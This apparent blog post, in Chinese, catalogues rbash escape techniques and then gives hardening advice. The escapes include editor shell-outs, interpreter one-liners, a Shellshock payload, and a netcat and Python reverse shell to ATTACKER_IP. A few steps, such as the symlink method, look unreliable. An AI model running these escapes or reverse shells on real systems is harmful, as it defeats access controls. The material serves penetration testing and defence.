引言
在Linux系统管理中,安全性是多用户环境中的核心关注点。受限Bash shell(rbash,Restricted Bash)作为一种常见的安全机制,通过限制用户执行特定命令或操作,有效降低了系统被滥用或未经授权访问的风险。然而,任何安全措施都可能存在漏洞,rbash也不例外。本文将深入剖析rbash的工作原理,系统整理其绕过技术,探讨这些方法的合法与恶意用途,并提供全面的防御策略,以帮助管理员构建更安全的系统。
什么是rbash?
受限Bash(rbash)是Bash shell的受限版本,通过以rbash名称启动或使用bash -r选项进入受限模式。rbash旨在通过以下限制增强系统安全性:
- 禁止更改目录:无法使用
cd命令切换目录。 - 环境变量限制:无法设置或取消
SHELL、PATH、ENV或BASH_ENV。 - 命令路径限制:禁止执行包含斜杠(
/)的命令(如/bin/bash)。 - 重定向限制:禁用输出/输入重定向操作符(如
>、>>、<>、>&等)。 - shell替换限制:禁止使用
exec替换当前shell。 - 路径修改限制:无法修改
PATH以包含用户主目录外的目录。
rbash常用于需要严格控制用户权限的场景,例如:
- FTP服务器:限制FTP用户访问文件系统。
- Web应用:为Web服务器用户提供有限的shell访问。
- 教育环境:防止学生执行危险操作。
尽管rbash显著提高了安全性,但其限制并非无懈可击。以下章节将详细介绍绕过rbash的多种技术,并分析其原理、适用场景及潜在风险。
绕过rbash的方法与技术
以下是绕过rbash的常见技术,涵盖从利用系统工具到编程语言的多种方法。这些方法可用于安全测试(如渗透测试)或系统调试,但也可能被恶意用户滥用。每个方法均包括详细步骤、原理、适用条件及注意事项。
1. 使用SSH启动非受限Bash
描述:通过SSH启动一个非受限Bash shell,绕过rbash的限制。
步骤:
- 执行命令:
ssh username@hostname -t "bash --noprofile" - 或者:
ssh username@hostname -t "/bin/sh" - 高级技巧:利用Shellshock漏洞(历史漏洞,适用于旧系统):
ssh username@hostname -t "() { :; }; /bin/bash"
原理:SSH启动的会话是独立的,-t选项强制分配伪终端,--noprofile避免加载用户配置文件(如.bashrc),从而绕过rbash环境。
适用场景:
- 用户具有SSH访问权限。
- 目标系统未限制
/bin/bash或/bin/sh的执行。
注意事项:
- 需要有效的SSH凭据。
- 系统可能通过PAM或SSH配置限制命令执行。
- Shellshock漏洞仅适用于未修补的旧系统(如Bash 4.3之前)。
2. 利用文本编辑器(如vi、vim、ed、pico)
描述:利用文本编辑器的shell调用功能启动非受限Bash。
vi/vim绕过:
- 运行:
vi或vim - 按
:,输入:set shell=/bin/bash,然后执行:shell - 或者直接输入
:!/bin/bash
ed绕过:
- 运行:
ed - 输入:
!/bin/bash
pico绕过:
- 运行:
pico -s /bin/bash - 打开空白文档,触发bash(利用pico的拼写检查程序选项)。
rvim绕过:
- 运行:
rvim - -Z -c ':!/bin/bash'
其他编辑器:
more /etc/passwd后输入!/bin/bashless /etc/passwd后输入!/bin/bashman man后输入!/bin/bash
原理:许多文本编辑器支持在交互模式下执行外部命令(通过!或特定选项),允许启动非受限shell。
适用场景:
- 环境中存在vi、vim、ed、pico等编辑器。
- 编辑器未被配置为禁用shell调用功能。
注意事项:
- 管理员可能禁用编辑器的
!命令或限制其功能。 - 需要确保目标shell(如
/bin/bash)存在且可执行。 pico方法依赖拼写检查选项,未配置spell命令可能失效。
3. 使用compgen -c列出可用命令
描述:运行compgen -c列出系统中所有可用命令,辅助发现绕过工具。
步骤:
- 执行:
compgen -c
原理:compgen -c是Bash内置命令,列出所有可执行命令,帮助用户识别未受限的工具(如python、scp等)。
适用场景:
- 环境限制严格,需快速排查可用命令。
- 作为其他绕过方法的辅助步骤。
注意事项:
- 仅提供信息,无法直接绕过限制。
- 输出可能较长,需手动筛选有用命令。
4. 利用SUID二进制文件
描述:SUID(Set User ID)二进制文件以文件所有者权限运行,可能绕过rbash限制。
步骤:
- 查找SUID文件:
find / -perm /4000 2>/dev/null(若find可用) - 检查常见SUID文件(如
passwd、sudo),尝试执行命令。
原理:SUID文件以所有者(如root)权限运行,可能允许执行受限命令或启动非受限shell。
适用场景:
- 系统存在配置不当的SUID文件。
- 用户有权限访问SUID二进制文件。
注意事项:
- rbash可能限制
find或SUID文件执行。 - 需谨慎操作,滥用SUID文件可能导致系统不稳定。
- 管理员应定期审计SUID文件权限。
5. 使用编程语言
描述:利用Python、Perl、PHP、Awk等编程语言的系统调用功能执行非受限shell。
Python示例:
python -c 'import os; os.system("/bin/bash")'
Perl示例:
perl -e 'exec "/bin/sh";'
PHP示例:
php -a
# 进入交互模式后输入:
exec("sh -i");
Awk示例:
awk 'BEGIN {system("/bin/bash")}'
Ruby示例:
ruby -e 'exec "/bin/sh"'
Lua示例:
lua -e 'os.execute("/bin/bash")'
Expect示例:
expect -c 'spawn /bin/bash; interact'
原理:编程语言的系统调用函数(如os.system、exec)可执行任意命令,绕过rbash限制。
适用场景:
- 环境中安装了相关语言解释器。
- 用户有权限执行这些解释器。
注意事项:
- 管理员可能移除或限制语言解释器。
- 某些语言可能被配置为禁用系统调用功能。
- 需要熟悉目标语言的基本语法。
6. 创建符号链接
描述:创建指向非受限二进制文件的符号链接,绕过路径限制。
步骤:
- 创建链接:
ln -s /bin/bash /tmp/bash - 执行:
/tmp/bash
原理:rbash限制包含斜杠的命令,但符号链接可能绕过此限制。
适用场景:
- 用户有权限在可写目录(如
/tmp)创建符号链接。 - 目标二进制文件(如
/bin/bash)未被限制。
注意事项:
- rbash可能禁止符号链接创建或执行。
- 系统可能配置了限制符号链接的机制(如
nosymlink挂载选项)。
7. 使用网络工具设置反向shell
描述:使用netcat或其他网络工具建立反向shell,获取非受限环境。
Netcat示例:
- 攻击者机器:
nc -lvp 4444 -e /bin/bash - 目标机器:
nc attacker_ip 4444 -e /bin/bash
Python反弹shell示例:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
原理:反向shell通过网络连接将命令执行环境转移到攻击者控制的系统中,绕过rbash限制。
适用场景:
- 环境中存在
netcat或支持网络操作的编程语言。 - 网络防火墙允许出站连接。
注意事项:
- 需要攻击者预先设置监听服务器。
- 系统可能限制网络工具或出站流量。
- 反弹shell可能被IDS/IPS检测。
8. 逃脱chroot监狱
描述:若rbash与chroot结合使用,逃脱chroot环境可绕过rbash限制。
步骤:
- 检查chroot环境的可写目录。
- 利用漏洞(如内核漏洞)或不当配置(如设备节点)逃脱。
- 示例:创建临时设备节点或使用
chroot命令切换根目录。
原理:逃脱chroot后,rbash的限制失效,用户可访问完整文件系统。
适用场景:
- chroot配置存在漏洞或不当设置。
- 用户有足够权限执行逃脱操作。
注意事项:
- 成功率较低,依赖特定漏洞。
- 现代系统通常结合SELinux或容器化,增加逃脱难度。
- 需深入了解chroot实现细节。
9. 切换用户逃逸
描述:使用su命令切换用户,加载非受限环境。
步骤:
- 执行:
su -c "python -c 'import pty; pty.spawn(\"/bin/bash\")'" username - 或者:
su - username
原理:su -加载目标用户的完整环境,可能不包含rbash限制;pty.spawn创建交互式shell。
适用场景:
- 用户知道目标用户密码。
- 系统允许
su命令执行。
注意事项:
- 需要有效凭据。
- 系统可能通过PAM限制
su功能。 - 切换用户可能触发审计日志。
10. 使用其他工具或命令
scp命令:
- 执行:
scp -S /path/yourscript x y: - 自定义脚本内容:
#!/bin/bash
/bin/bash
cp命令:
- 复制bash:
cp /bin/bash .; ./bash
zip命令:
- 执行:
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar命令:
- 执行:
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
git命令:
- 执行:
git help status - 在
less界面输入:!/bin/bash
gdb命令:
- 执行:
gdb -q - 输入:
!/bin/bash
原理:这些工具或命令通过执行外部命令或加载交互模式,绕过rbash限制。
适用场景:
- 环境中存在相关工具。
- 工具未被配置为禁用shell调用。
注意事项:
- 管理员可能限制这些工具的执行。
- 某些工具(如
git)依赖交互模式,需熟悉操作流程。 - 使用复杂命令可能增加被检测的风险。
小tips
1. 比rbash更容易遇到的问题是当前路径异常问题
echo $PATH ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ####修复
注意:rbash可能禁止修改PATH,需结合其他方法(如符号链接)。
2. 无法使用重定向操作符
问题:rbash禁止>、>>等重定向符号,无法写入文件。
echo 'script code' | tee scriptfile
3. ssh 登录时通过spawn shell逃逸
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'"
4. 使用!'sh'绕过斜杠限制
技巧:在less、man等交互模式下,输入!'sh'(不含/)可能绕过斜杠限制。
示例:
less /etc/passwd
!'sh'
原理:!'sh'避免了斜杠,某些环境中可直接调用sh。
安全影响与防御措施
安全影响
绕过rbash的技术具有双重用途:
-
合法用途:
- 安全测试:渗透测试人员可利用这些方法评估系统安全性。
- 系统调试:管理员可能需要绕过rbash恢复访问或修复配置。
- 教育目的:学习Linux安全机制和shell行为。
-
恶意用途:
- 权限提升:攻击者可能获取更高权限,执行未授权操作。
- 数据泄露:绕过rbash可能暴露敏感文件或配置。
- 系统破坏:恶意用户可能删除关键文件或植入后门。
- 持久化攻击:通过反弹shell或计划任务建立长期访问。
成功绕过rbash可能导致严重后果,尤其在高敏感环境中(如金融系统、医疗系统)。因此,了解这些技术并实施有效防御至关重要。
防御措施
为降低rbash被绕过的风险,系统管理员应采取以下综合防御策略:
-
严格限制
PATH:- 将
PATH限定为受信任目录(如/bin、/usr/bin)。 - 示例:
export PATH=/bin:/usr/bin - 定期检查
PATH配置,确保无用户可写目录。
- 将
-
禁用不必要工具:
- 移除或限制高风险命令(如
vi、scp、netcat、python)。 - 示例:通过文件权限或PAM限制:
- 移除或限制高风险命令(如
chmod 750 /usr/bin/vi
-
强化SUID管理:
- 最小化SUID二进制文件数量。
- 定期审计:
find / -perm /4000 - 确保SUID文件不可被滥用。
-
结合chroot或容器:
- 使用chroot隔离用户环境,限制文件系统访问。
- 部署容器(如Docker)进一步隔离进程。
- 示例:配置chroot:
chroot /jail/username /bin/rbash
-
强制访问控制:
- 部署SELinux或AppArmor,限制用户操作。
- 示例:SELinux策略禁止执行未授权命令。
-
限制SSH访问:
- 配置
/etc/ssh/sshd_config,禁用-t选项或限制命令执行。 - 示例:限制用户命令:
- 配置
Match User restricted_user
ForceCommand /bin/rbash
- 最小化软件安装:
- 仅安装必要工具,移除Python、Perl等解释器(若非必需)。
- 示例:卸载不必要包:
apt remove python3 perl
- 定期审计与监控:
- 检查用户行为、启动脚本和系统日志。
- 使用工具(如
auditd)监控高风险操作。 - 示例:监控bash执行:
auditctl -w /bin/bash -p x -k bash_exec
-
教育与培训:
- 培训管理员识别绕过技术及其迹象。
- 定期开展安全演练,模拟rbash绕过场景。
-
网络隔离:
- 限制出站网络连接,防止反弹shell。
- 示例:配置防火墙:
iptables -A OUTPUT -p tcp --dport 4444 -j DROP
原文 https://blog.csdn.net/2301_79518550/article/details/147287764